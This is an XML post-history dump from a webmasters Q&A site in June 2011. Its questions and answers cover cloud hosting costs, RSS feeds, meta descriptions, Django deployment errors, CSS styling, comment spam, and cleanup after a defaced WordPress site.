  <row Id="37280" PostHistoryTypeId="2" PostId="15715" RevisionGUID="65b847d2-7bf4-47c0-a728-800c3af73ca3" CreationDate="2011-06-22T19:51:12.580" UserId="8476" Text="On AWS, bandwidth costs as little as $0.08 per GB and storage costs as little as $0.055 per GB. Are there any providers that charge less? These numbers end up being very costly for a web site that hosts pictures and videos, so I'm looking for cheaper alternatives." />
  <row Id="37281" PostHistoryTypeId="1" PostId="15715" RevisionGUID="65b847d2-7bf4-47c0-a728-800c3af73ca3" CreationDate="2011-06-22T19:51:12.580" UserId="8476" Text="Is Amazon the cheapest cloud provider?" />
  <row Id="37282" PostHistoryTypeId="3" PostId="15715" RevisionGUID="65b847d2-7bf4-47c0-a728-800c3af73ca3" CreationDate="2011-06-22T19:51:12.580" UserId="8476" Text="&lt;cloud-hosting&gt;&lt;amazon-aws&gt;" />
  <row Id="37283" PostHistoryTypeId="2" PostId="15716" RevisionGUID="190eb5f9-6df9-4c13-85b0-63748840496c" CreationDate="2011-06-22T19:57:29.130" UserId="7962" Text="This is an institutional site which uses Tumblr to keep the visitors updated. The Tumblr is linked via frames in the subdirectory /blog/ of the domain to track stats. My question is:&#xD;&#xA;&#xD;&#xA;How can I allow my visitors to retrieve the Tumblr updates by simply inputing *www.domain.com* in their feed reader instead of domain.tumblr.com?&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;How can I allow my visitors to retrieve the Tumblr updates by simply inputing *www.domain.com/blog* in their feed reader instead of domain.tumblr.com?&#xD;&#xA;&#xD;&#xA;PS. For some reason the main domain is still associated with the old blogspot address." />
  <row Id="37284" PostHistoryTypeId="1" PostId="15716" RevisionGUID="190eb5f9-6df9-4c13-85b0-63748840496c" CreationDate="2011-06-22T19:57:29.130" UserId="7962" Text="How can I associate my main domain to a RSS?" />
  <row Id="37285" PostHistoryTypeId="3" PostId="15716" RevisionGUID="190eb5f9-6df9-4c13-85b0-63748840496c" CreationDate="2011-06-22T19:57:29.130" UserId="7962" Text="&lt;domains&gt;&lt;rss&gt;&lt;tumblr&gt;" />
  <row Id="37286" PostHistoryTypeId="2" PostId="15717" RevisionGUID="78a429bd-3b39-4c46-8a4a-3aed1dc4d3c4" CreationDate="2011-06-22T20:25:04.087" UserId="4502" Text="If you look at the source code for your Tumblr site, you'll see a feed auto-discovery link in the head section that'll look like this:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; href=&quot;/rss&quot;&gt;&#xD;&#xA;&#xD;&#xA;Edit that to be:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; href=&quot;http://domain.tumblr.com/rss&quot;&gt;&#xD;&#xA;&#xD;&#xA;(Replace domain.tumblr.com with whatever your actual Tumblr address is)  &#xD;&#xA;Add that line to the template for the rest of your regular site, in the head section." />
  <row Id="37290" PostHistoryTypeId="2" PostId="15719" RevisionGUID="12c4f68f-6ebd-4fe5-b283-252b9e638dca" CreationDate="2011-06-22T20:30:55.380" UserId="5727" Text="If users submit a lot of good quality articles on the site, what is the best way to approach the meta description tag?&#xD;&#xA;&#xD;&#xA;I see two options:&#xD;&#xA;&#xD;&#xA; - Have a description box and rely on them to fill it sensibly and in a good quality way&#xD;&#xA; - Just exclude the meta description&#xD;&#xA;&#xD;&#xA;Method 1 is bad initially, but I'm willing to put time in going through and editing/checking all of them on a permanent basis.&#xD;&#xA;&#xD;&#xA;Method 2 is employed by the stack exchange site, and lets the search bots extract the best part of the page in the SERP.&#xD;&#xA;&#xD;&#xA;Thoughts?  Ideas?  I'm thinking a badly formed description tag is more damaging than not having one at all at the end of the day.&#xD;&#xA;&#xD;&#xA;I don't expect content to ever become unwieldy and too much to manage." />
  <row Id="37291" PostHistoryTypeId="1" PostId="15719" RevisionGUID="12c4f68f-6ebd-4fe5-b283-252b9e638dca" CreationDate="2011-06-22T20:30:55.380" UserId="5727" Text="User generated articles, how to do meta description?" />
  <row Id="37292" PostHistoryTypeId="3" PostId="15719" RevisionGUID="12c4f68f-6ebd-4fe5-b283-252b9e638dca" CreationDate="2011-06-22T20:30:55.380" UserId="5727" Text="&lt;meta-description&gt;&lt;user-engagement&gt;&lt;articles&gt;&lt;user-generated-content&gt;" />
  <row Id="37293" PostHistoryTypeId="2" PostId="15720" RevisionGUID="63269cff-397e-439a-9ba1-26d98eb1145b" CreationDate="2011-06-22T20:37:59.787" UserId="8469" Text="I would generally prefer to have content authors write one more paragraph (or even sentence!) in the body than write a meta description, so I would favor #2.  #1 isn't bad if the descriptions are good, but the opportunity cost seems less-than-worthwhile." />
  <row Id="37294" PostHistoryTypeId="2" PostId="15721" RevisionGUID="18b31125-ea7d-40e8-95db-349e8f520012" CreationDate="2011-06-22T20:41:04.093" UserId="-1" Text="" />
  <row Id="37295" PostHistoryTypeId="2" PostId="15722" RevisionGUID="2752fb8f-74ab-4021-ab61-2543fe60470e" CreationDate="2011-06-22T20:41:04.093" UserId="-1" Text="" />
  <row Id="37299" PostHistoryTypeId="25" PostId="15716" RevisionGUID="ff010427-4a74-4846-90b6-5b15a10324d6" CreationDate="2011-06-22T21:24:56.313" Comment="http://twitter.com/#!/StackWebmasters/status/83646674332950528" />
  <row Id="37300" PostHistoryTypeId="2" PostId="15723" RevisionGUID="68576cc0-e540-411d-8c62-1074e64204bb" CreationDate="2011-06-22T21:33:01.270" UserId="7280" Text="Is it possible to change the default administration editor in Joomla 1.5?&#xD;&#xA;&#xD;&#xA;I've tried installing Textile and Markdown editors, but those are only installed for on page editing and not in administration management...&#xD;&#xA;&#xD;&#xA;Questions&#xD;&#xA;--&#xD;&#xA;1. is it possible to change default administration editor&#xD;&#xA;2. how can I change it to some markdown (or markdown like) editor" />
  <row Id="37301" PostHistoryTypeId="1" PostId="15723" RevisionGUID="68576cc0-e540-411d-8c62-1074e64204bb" CreationDate="2011-06-22T21:33:01.270" UserId="7280" Text="Change administrator editor" />
  <row Id="37302" PostHistoryTypeId="3" PostId="15723" RevisionGUID="68576cc0-e540-411d-8c62-1074e64204bb" CreationDate="2011-06-22T21:33:01.270" UserId="7280" Text="&lt;joomla&gt;&lt;text-editor&gt;&lt;administration&gt;" />
  <row Id="37303" PostHistoryTypeId="2" PostId="15724" RevisionGUID="0037b82c-9b21-46b3-9c51-35ca0ee96dfc" CreationDate="2011-06-22T23:19:59.193" UserId="5659" Text="I will be doing a bunch of things to give one of my projects (main app) a big initial push for which I will be building a few small Facebook apps which will help in promoting the main apps. Traffic from these apps need to be tracked individually.&#xD;&#xA;&#xD;&#xA;My main app will be posting on the walls when the user needs to be notified. Traffic from these posts need to be tracked.&#xD;&#xA;&#xD;&#xA;Traffic from emails sent by the main app need to be tracked, like different types of email.&#xD;&#xA;&#xD;&#xA;I need to track all of these &amp; possibly a couple of more but I need to be sure that I build my campaign URLs correctly as I won't get another chance to fix it.&#xD;&#xA;&#xD;&#xA;Correct me where I am wrong:&#xD;&#xA;&#xD;&#xA;    Campaign Name: Launch&#xD;&#xA;    Campaign Medium: Email&#xD;&#xA;    Campaign Source: Type1 or Type2 (I can break it down for different types of email, right?)&#xD;&#xA;&#xD;&#xA;For apps:&#xD;&#xA;&#xD;&#xA;    Campaign Name: Launch&#xD;&#xA;    Campaign Medium: Apps&#xD;&#xA;    Campaign Source: App1 or App2 (I can break it down here for different apps, right?)&#xD;&#xA;&#xD;&#xA;What if I want to track two different links within a single email or a single app? Any way of tracking them individually too but still keeping to track them as one because tracking them as one makes more sense for me.&#xD;&#xA;&#xD;&#xA;Campaign Term &amp; Campaign content is irrelevant in my case, or I can/should use them for something?&#xD;&#xA;&#xD;&#xA;And I will also be tracking traffic of different apps. Should I do more?&#xD;&#xA;&#xD;&#xA;Let me know if my scenario wasn't clear enough &amp; I need to explain more." />
  <row Id="37304" PostHistoryTypeId="1" PostId="15724" RevisionGUID="0037b82c-9b21-46b3-9c51-35ca0ee96dfc" CreationDate="2011-06-22T23:19:59.193" UserId="5659" Text="Setting up a Google Analytics Campaign" />
  <row Id="37305" PostHistoryTypeId="3" PostId="15724" RevisionGUID="0037b82c-9b21-46b3-9c51-35ca0ee96dfc" CreationDate="2011-06-22T23:19:59.193" UserId="5659" Text="&lt;google-analytics&gt;" />
  <row Id="37306" PostHistoryTypeId="17" PostId="15725" RevisionGUID="6ce906fc-124e-43de-8f46-b08e9ce2cec2" CreationDate="2011-06-22T23:26:04.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6436362/apache-cannot-find-mysql-database-modules" Text="" />
  <row Id="37307" PostHistoryTypeId="17" PostId="15726" RevisionGUID="c228d58d-5a9c-46c7-bc28-1c7cbe9f9e53" CreationDate="2011-06-22T23:26:04.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6436362/apache-cannot-find-mysql-database-modules" Text="" />
  <row Id="37308" PostHistoryTypeId="2" PostId="15726" RevisionGUID="527ab2d5-862e-4fea-b1d1-dfb14c9058ec" CreationDate="2011-06-22T07:29:57.297" UserDisplayName="user634380" Text="Check out &quot;Apache PHP MySQL Ubuntu&quot; in Google. It helped me a hundred of times! " />
  <row Id="37309" PostHistoryTypeId="2" PostId="15725" RevisionGUID="43910c1c-cd87-470c-965b-b635bc840964" CreationDate="2011-06-22T07:24:57.017" UserDisplayName="user809857" Text="I've created a simple django project and setup a mysql database.&#xD;&#xA;My simple project just creates an entry on the database.&#xD;&#xA;The project works fine when I use the built in development server provided by django (runserver) and it works well.&#xD;&#xA; &#xD;&#xA;But when I deployed the project on Apache and mod_Wsgi (Ubuntu server), django could not find 'books', which is in this case my table in the database. The mysql database that I use in runserver and apache are just the same. I also did rebuild the database using sqlall,validate and syncdb of django but still i get the error.&#xD;&#xA;&#xD;&#xA;What could be wrong with what I'm doing?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="37310" PostHistoryTypeId="1" PostId="15725" RevisionGUID="43910c1c-cd87-470c-965b-b635bc840964" CreationDate="2011-06-22T07:24:57.017" UserDisplayName="user809857" Text="Apache cannot find mysql database modules" />
  <row Id="37311" PostHistoryTypeId="3" PostId="15725" RevisionGUID="43910c1c-cd87-470c-965b-b635bc840964" CreationDate="2011-06-22T07:24:57.017" UserDisplayName="user809857" Text="&lt;mysql&gt;&lt;django&gt;&lt;apache&gt;&lt;ubuntu&gt;" />
  <row Id="37312" PostHistoryTypeId="2" PostId="15727" RevisionGUID="1fe28547-5a34-48a0-99aa-1a8e3d5de4c2" CreationDate="2011-06-22T23:55:12.220" UserId="231" Text="Since your CSS declarations are element declarations, the only option you have is to give your particular form an id and write/reset it's css attributes.&#xD;&#xA;&#xD;&#xA;    form#paypal_form {&#xD;&#xA;        custom styles;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    form#paypal_form label {&#xD;&#xA;        custom styles;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and so on." />
  <row Id="37313" PostHistoryTypeId="25" PostId="15703" RevisionGUID="670766bd-a9bd-4e8e-ae22-726850515088" CreationDate="2011-06-23T00:24:56.050" Comment="http://twitter.com/#!/StackWebmasters/status/83691971931160577" />
  <row Id="37314" PostHistoryTypeId="17" PostId="15728" RevisionGUID="fae296ea-dca2-4533-854d-3913f01b9a58" CreationDate="2011-06-23T00:41:56.240" UserId="-1" Comment="from http://stackoverflow.com/questions/6448073/site-overthrown-by-turkish-hackers" Text="" />
  <row Id="37315" PostHistoryTypeId="2" PostId="15728" RevisionGUID="2a873503-707b-4e0f-958c-8849ecd57860" CreationDate="2011-06-23T00:21:32.617" UserDisplayName="Jackson Gariety" Text="Go ahead, laugh. I forgot to remove the default admin/admin account on my blog. SOmebody got in and has replaced my homepage with some internet graffiti. I've used .htaccess to replace the page with a 403 error, but no matter what I do, my wordpress homepage is this hacker thing.&#xD;&#xA;&#xD;&#xA;How can I setup my server so that ONLY MYSELF can view it while I'm fixing this via .htaccess?&#xD;&#xA;What steps should I take to eradicate them from my server?&#xD;&#xA;If I delete the ENTIRE website and change all the passwords, is he completely gone?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="37316" PostHistoryTypeId="1" PostId="15728" RevisionGUID="2a873503-707b-4e0f-958c-8849ecd57860" CreationDate="2011-06-23T00:21:32.617" UserDisplayName="Jackson Gariety" Text="Site overthrown by Turkish hackers..." />
  <row Id="37317" PostHistoryTypeId="3" PostId="15728" RevisionGUID="2a873503-707b-4e0f-958c-8849ecd57860" CreationDate="2011-06-23T00:21:32.617" UserDisplayName="Jackson Gariety" Text="&lt;security&gt;&lt;htaccess&gt;&lt;server&gt;" />
  <row Id="37318" PostHistoryTypeId="2" PostId="15729" RevisionGUID="2811a734-c9bc-44ae-b1bf-7f0f13281a9f" CreationDate="2011-06-23T01:04:08.900" UserId="4803" Text="I would use JavaScript and the JQuery library with regular HTML tables to:&#xD;&#xA;&#xD;&#xA;   -First, calculate the width in pixels of the column (This gives you the freedom to update the list without having to worry about updating and measuring pixels every time) Ex, widthOfQuestion + widthOfInput.&#xD;&#xA;   -Second, find the resolution that is being used (Or the browser width - preferable).&#xD;&#xA;   -Third, see if double the width of the column could fit on their resolution. If so, then write in '&lt;/tr&gt;\n &lt;tr&gt;'.&#xD;&#xA;&#xD;&#xA;To specifically know how to do this, consult StackOverflow." />
  <row Id="37319" PostHistoryTypeId="2" PostId="15730" RevisionGUID="1da0bd27-456e-4f65-95aa-053d2d88810b" CreationDate="2011-06-23T01:46:55.777" UserId="8485" Text="I got these errors from apache log:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     return do_translate(message, 'ugettext')&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]   File &quot;/usr/local/lib/python2.6/dist-packages/django/utils/translation/trans_real.py&quot;, line 276, in do_translate&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     _default = translation(settings.LANGUAGE_CODE)&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]   File &quot;/usr/local/lib/python2.6/dist-packages/django/utils/translation/trans_real.py&quot;, line 185, in translation&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     default_translation = _fetch(settings.LANGUAGE_CODE)&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]   File &quot;/usr/local/lib/python2.6/dist-packages/django/utils/translation/trans_real.py&quot;, line 162, in _fetch&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     app = import_module(appname)&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]   File &quot;/usr/local/lib/python2.6/dist-packages/django/utils/importlib.py&quot;, line 35, in import_module&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     __import__(name)&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224] TemplateSyntaxError: Caught ImportError while rendering: No module named books&#xD;&#xA;root@li333-207:/srv/www/hello/apache# tail -f /var/log/apache2/error.log&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     return do_translate(message, 'ugettext')&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]   File &quot;/usr/local/lib/python2.6/dist-packages/django/utils/translation/trans_real.py&quot;, line 276, in do_translate&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     _default = translation(settings.LANGUAGE_CODE)&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]   File &quot;/usr/local/lib/python2.6/dist-packages/django/utils/translation/trans_real.py&quot;, line 185, in translation&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     default_translation = _fetch(settings.LANGUAGE_CODE)&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]   File &quot;/usr/local/lib/python2.6/dist-packages/django/utils/translation/trans_real.py&quot;, line 162, in _fetch&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     app = import_module(appname)&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]   File &quot;/usr/local/lib/python2.6/dist-packages/django/utils/importlib.py&quot;, line 35, in import_module&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224]     __import__(name)&#xD;&#xA;[Wed Jun 22 20:41:58 2011] [error] [client 202.92.128.224] TemplateSyntaxError: Caught ImportError while rendering: No module named books&#xD;&#xA;&#xD;&#xA;-but this works fine with runserver" />
  <row Id="37321" PostHistoryTypeId="2" PostId="15732" RevisionGUID="e47a2445-c8c2-43ae-aa10-feb036a9138e" CreationDate="2011-06-23T02:25:34.887" UserId="1253" Text="&gt; How can I setup my server so that ONLY&#xD;&#xA;&gt; MYSELF can view it while I'm fixing&#xD;&#xA;&gt; this via .htaccess?&#xD;&#xA;&#xD;&#xA;Use [basic authentication][1] to block the site from everyone who doesn't have the login and password (i.e. anyone who is not you).&#xD;&#xA;&gt; &#xD;&#xA;&gt; What steps should I take to eradicate&#xD;&#xA;&gt; them from my server? If I delete the&#xD;&#xA;&gt; ENTIRE website and change all the&#xD;&#xA;&gt; passwords, is he completely gone?&#xD;&#xA;&#xD;&#xA;If you completely uninstall the software, delete everything associated with it (e.g. directories) and re-install it from scratch you should be fine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Basic_access_authentication" />
  <row Id="37322" PostHistoryTypeId="2" PostId="15733" RevisionGUID="4339e7c3-5e55-4ffc-803e-f4ef18fed048" CreationDate="2011-06-23T02:30:24.100" UserId="1253" Text="The Meta description tag does not affect your rankings so I wouldn't worry about that. But it can affect a user's desire to visit your pages. If you are a good at writing copy and the workload won't be overwhelming, then go ahead and write meta descriptions for each article. If you're not good at writing copy or the workload will be too much, then let the search engines show the snippet they think best fits the query." />
  <row Id="37323" PostHistoryTypeId="2" PostId="15734" RevisionGUID="94f069c5-bb80-40de-895e-dfb4eff0a694" CreationDate="2011-06-23T02:43:20.267" UserId="1253" Text="You could reset those rules to have them display the custom rules you have in your CSS. You can wrap the Paypal buttons in a `&lt;div class=&quot;paypalbutton&quot;&gt;` and then use CSS resembling this:&#xD;&#xA;&#xD;&#xA;    div.paypal form {&#xD;&#xA;            margin-bottom: 0;&#xD;&#xA;    }&#xD;&#xA;    div.paypal body.ie7 form, div.paypal body.ie8 {&#xD;&#xA;            margin-bottom: 0;&#xD;&#xA;    }&#xD;&#xA;    div.paypal form p {&#xD;&#xA;            margin-bottom: 0;&#xD;&#xA;    }&#xD;&#xA;    div.paypal form label {&#xD;&#xA;            float: none;&#xD;&#xA;            width: auto;&#xD;&#xA;            margin-top: 0;&#xD;&#xA;    }&#xD;&#xA;    div.paypal form input, div.paypal form textarea, div.paypal form select {&#xD;&#xA;            padding: 0;&#xD;&#xA;            background: transparent;&#xD;&#xA;            border: 2px inset #D9D9D9;&#xD;&#xA;            width: auto;&#xD;&#xA;            border-radius: 0;&#xD;&#xA;            -moz-border-radius: 0;&#xD;&#xA;            -webkit-border-radius: 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I don't know if that will reset them exactly but I hope it gives you the idea. " />
  <row Id="37324" PostHistoryTypeId="5" PostId="15708" RevisionGUID="c3ca6470-5995-4260-bf67-e0a9dfcff33b" CreationDate="2011-06-23T02:47:08.190" UserId="1253" Comment="Formatted code" Text="I have a request that may not be possible.&#xD;&#xA;&#xD;&#xA;I'd like to line up the elements of a form so that the inputs all start at the same place:&#xD;&#xA;&#xD;&#xA;    Name:                            [                           ]&#xD;&#xA;    Company:                         [                           ]&#xD;&#xA;    Some question with a long name: [                           ]&#xD;&#xA;&#xD;&#xA;But my list is (somewhat) long and I would like to show them in multiple columns on screens that are wide enough.&#xD;&#xA;&#xD;&#xA;Ideally, I'd find a POSH method (table-free is semantically appropriate, I think) that works on a reasonable number of browsers.&#xD;&#xA;&#xD;&#xA;My current page uses a table.  I tried CSS with&#xD;&#xA;&#xD;&#xA;    columns: auto; &#xD;&#xA;    -moz-column-count: auto; &#xD;&#xA;    -moz-column-width: auto; &#xD;&#xA;    -webkit-column-count: auto; &#xD;&#xA;    -webkit-column-width: auto;&#xD;&#xA;&#xD;&#xA;but Firefox (at least) won't break a table across columns." />
  <row Id="37325" PostHistoryTypeId="4" PostId="15699" RevisionGUID="060ecbe4-63c0-4c8d-8e01-9c9ace6e325d" CreationDate="2011-06-23T02:48:21.310" UserId="1253" Comment="modified tags, title" Text="Page Rank / Github" />
  <row Id="37326" PostHistoryTypeId="6" PostId="15699" RevisionGUID="060ecbe4-63c0-4c8d-8e01-9c9ace6e325d" CreationDate="2011-06-23T02:48:21.310" UserId="1253" Comment="modified tags, title" Text="&lt;seo&gt;&lt;google&gt;&lt;page-ranking&gt;" />
  <row Id="37327" PostHistoryTypeId="5" PostId="15722" RevisionGUID="4aec2d2f-e67c-4819-9280-064f377aaf50" CreationDate="2011-06-23T02:48:46.987" UserId="8478" Comment="added 219 characters in body" Text="OpenID is an open standard that describes how users can be authenticated in a decentralized manner. It allows the user to use an existing account to sign in to multiple websites, without needing to create new passwords." />
  <row Id="37328" PostHistoryTypeId="24" PostId="15722" RevisionGUID="4aec2d2f-e67c-4819-9280-064f377aaf50" CreationDate="2011-06-23T02:48:46.987" Comment="Proposed by 8478 approved by 1253 edit id of 405" />
  <row Id="37329" PostHistoryTypeId="2" PostId="15735" RevisionGUID="dd480723-af1d-4d3c-bd05-1c52afedbbe6" CreationDate="2011-06-23T02:53:45.907" UserId="8488" Text="I'm basically familiar with what I need in order to setup web services to talk with a centralized db, but if I don't have to go through and do all the work, I'd rather not.&#xD;&#xA;&#xD;&#xA;Is there an open source solution that would allow me to easily integrate web services for data transfer to a central db?&#xD;&#xA;&#xD;&#xA;I want to make a site that is powered by a db that can also be accessed by other things like mobile apps for example.&#xD;&#xA;&#xD;&#xA;What are the steps involved in setting up such a site?&#xD;&#xA;&#xD;&#xA;Any help is appreciated! I could use all the help I can get!" />
  <row Id="37330" PostHistoryTypeId="1" PostId="15735" RevisionGUID="dd480723-af1d-4d3c-bd05-1c52afedbbe6" CreationDate="2011-06-23T02:53:45.907" UserId="8488" Text="I need a backend system that is integrated with web services, is there an open source solution?" />
  <row Id="37331" PostHistoryTypeId="3" PostId="15735" RevisionGUID="dd480723-af1d-4d3c-bd05-1c52afedbbe6" CreationDate="2011-06-23T02:53:45.907" UserId="8488" Text="&lt;mobile&gt;&lt;database&gt;&lt;open-source&gt;&lt;web-services&gt;" />
  <row Id="37332" PostHistoryTypeId="2" PostId="15736" RevisionGUID="8ac814df-0137-4508-95fd-cde1b68cb1ef" CreationDate="2011-06-23T03:02:26.737" UserId="8489" Text="need to know how to place a wallpaper in that html piece&#xD;&#xA;tell me. please, ok? thank you&#xD;&#xA;http://static.tumblr.com/taepiis/5SFln832d/theme.txt" />
  <row Id="37333" PostHistoryTypeId="1" PostId="15736" RevisionGUID="8ac814df-0137-4508-95fd-cde1b68cb1ef" CreationDate="2011-06-23T03:02:26.737" UserId="8489" Text="How do I place a static wallpaper in that theme?" />
  <row Id="37334" PostHistoryTypeId="3" PostId="15736" RevisionGUID="8ac814df-0137-4508-95fd-cde1b68cb1ef" CreationDate="2011-06-23T03:02:26.737" UserId="8489" Text="&lt;theme&gt;" />
  <row Id="37335" PostHistoryTypeId="25" PostId="15728" RevisionGUID="8124cfe1-d636-4242-ad69-7988fda0d940" CreationDate="2011-06-23T03:24:56.050" Comment="http://twitter.com/#!/StackWebmasters/status/83737269395128320" />
  <row Id="37336" PostHistoryTypeId="2" PostId="15737" RevisionGUID="d31dfe2b-868c-4ac1-b1ce-47eef57780c6" CreationDate="2011-06-23T05:26:28.347" UserId="8490" Text="I recommend using Akeeba backup component. it Backups your site as it is and you can install it in any other server by running the kickstart installer provided in the same webpage as component." />
  <row Id="37337" PostHistoryTypeId="25" PostId="15736" RevisionGUID="8e707725-0449-47e2-a856-0660cb00659b" CreationDate="2011-06-23T06:24:55.863" Comment="http://twitter.com/#!/StackWebmasters/status/83782568494895104" />
  <row Id="37338" PostHistoryTypeId="2" PostId="15738" RevisionGUID="08cd99e3-0495-4c6f-a289-2e8088ce8b1e" CreationDate="2011-06-23T06:33:59.070" UserId="2044" Text="I am new to vps hosting. I checked daily process log of my server and found a user with name nobody consuming high mem other than others.&#xD;&#xA;&#xD;&#xA;So what does the user nobody is related to any why its consuming more mem  &#xD;&#xA;user / cpu / mem / mysql  &#xD;&#xA;nobody / 0.00 /	27.31 /	0.0&#xD;&#xA;" />
  <row Id="37339" PostHistoryTypeId="1" PostId="15738" RevisionGUID="08cd99e3-0495-4c6f-a289-2e8088ce8b1e" CreationDate="2011-06-23T06:33:59.070" UserId="2044" Text="What does nobody user represents in server process log" />
  <row Id="37340" PostHistoryTypeId="3" PostId="15738" RevisionGUID="08cd99e3-0495-4c6f-a289-2e8088ce8b1e" CreationDate="2011-06-23T06:33:59.070" UserId="2044" Text="&lt;linux&gt;&lt;vps&gt;" />
  <row Id="37341" PostHistoryTypeId="5" PostId="15630" RevisionGUID="14162629-820a-49a8-8c66-3cbed5e86de2" CreationDate="2011-06-23T06:38:38.817" UserId="8491" Comment="added 307 characters in body" Text="I am trying to make available on my website a voice chat for a small group of people that allows some other means to interact such as text messaging, photo sharing, file sharing, simple drawing and silly games. In other words, something similar to older MSN Messenger, but on the web. Any ideas on what to use?&#xD;&#xA;&#xD;&#xA;To clarify, I am looking for suggestions on languages and libraries to use. I want to be able to fully customize it as much as possible because I might want to add other (somewhat interesting) functions later. Low-level programming is fine if required, but platform dependency isn't that much preferred." />
  <row Id="37342" PostHistoryTypeId="2" PostId="15739" RevisionGUID="1818db2e-da45-4382-bfd5-26ffe756dfd4" CreationDate="2011-06-23T07:32:45.523" UserId="8492" Text="I want to know what HTML tags are &quot;compulsory&quot; a web-page should have, in order for it to be displayed by a web-browser. &#xD;&#xA;&#xD;&#xA;Also, what is the difference between different versions of HTML, in general?" />
  <row Id="37343" PostHistoryTypeId="1" PostId="15739" RevisionGUID="1818db2e-da45-4382-bfd5-26ffe756dfd4" CreationDate="2011-06-23T07:32:45.523" UserId="8492" Text="What are the essential HTML Tags" />
  <row Id="37344" PostHistoryTypeId="3" PostId="15739" RevisionGUID="1818db2e-da45-4382-bfd5-26ffe756dfd4" CreationDate="2011-06-23T07:32:45.523" UserId="8492" Text="&lt;html&gt;" />
  <row Id="37345" PostHistoryTypeId="17" PostId="15740" RevisionGUID="804c0b52-9541-405f-b669-a9a148d62934" CreationDate="2011-06-23T07:46:25.913" UserId="-1" Comment="from http://stackoverflow.com/questions/6448181/disable-comments-spam-protection" Text="" />
  <row Id="37346" PostHistoryTypeId="17" PostId="15741" RevisionGUID="c86b133f-7bc2-433c-91c8-ed09ebd0a777" CreationDate="2011-06-23T07:46:25.913" UserId="-1" Comment="from http://stackoverflow.com/questions/6448181/disable-comments-spam-protection" Text="" />
  <row Id="37347" PostHistoryTypeId="2" PostId="15741" RevisionGUID="567f98fc-b424-4367-a8b9-f1a58b0850d2" CreationDate="2011-06-23T01:52:19.497" UserDisplayName="Shane Garelja" Text="You can disable comments for existing pages by going to the Behvaiour tab and de-select the &quot;Allow comments on this page?&quot; checkbox.&#xD;&#xA;&#xD;&#xA;If you haven't done it already, you can turn on moderation to prevent the spam from appearing on the live site. Simply add the following to your mysite/_config.php file.&#xD;&#xA;&#xD;&#xA;    PageComment::enableModeration();&#xD;&#xA;&#xD;&#xA;There's also MathSpamProtection which can be enabled with:&#xD;&#xA;&#xD;&#xA;    MathSpamProtection::setEnabled();&#xD;&#xA;&#xD;&#xA;SilverStripe also have a Spam Protection module up on [GitHub][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/silverstripe/silverstripe-spamprotection" />
  <row Id="37348" PostHistoryTypeId="2" PostId="15740" RevisionGUID="3beae3f6-43e3-4bc1-8c57-7813ff041070" CreationDate="2011-06-23T00:46:00.947" UserDisplayName="SamIAm" Text="My client site is built in Silverstripe, there is a news page, and it allows people to leave comments. Unfortunately we've got loads of spam emails. I'm new to this, is there any way we can disable the comment field by default? How do I do it? Alternatively is there easy way for me to install a spam protection?&#xD;&#xA;&#xD;&#xA;Thanks heaps.&#xD;&#xA;&#xD;&#xA;Sam&#xD;&#xA;&#xD;&#xA;**Update** -  Because this is someone else's code, I just realised that they have some sort of spam protection already, so we are trying to disable comments now. I have manage to set no comment as default by changing file BlogEntry.php &#xD;&#xA;       &#xD;&#xA;    static $defaults = array(&#xD;&#xA;		&quot;ProvideComments&quot; =&gt; true, &#xD;&#xA;		'ShowInMenus' =&gt; false&#xD;&#xA;	);&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    static $defaults = array(&#xD;&#xA;		&quot;ProvideComments&quot; =&gt; false, //changed&#xD;&#xA;		'ShowInMenus' =&gt; false&#xD;&#xA;	);&#xD;&#xA;&#xD;&#xA;Am I on the right track to disable comments by default? Also how can I stop on the news page showing xxx comments link? eg&#xD;&#xA;&#xD;&#xA;Test&#xD;&#xA;&#xD;&#xA;Posted by Admin on 21 June 2011 | **3 Comments**&#xD;&#xA;&#xD;&#xA;Tags: P&#xD;&#xA;&#xD;&#xA;This is a test....&#xD;&#xA;&#xD;&#xA;**3 comments** | Read the full post&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks. S:)" />
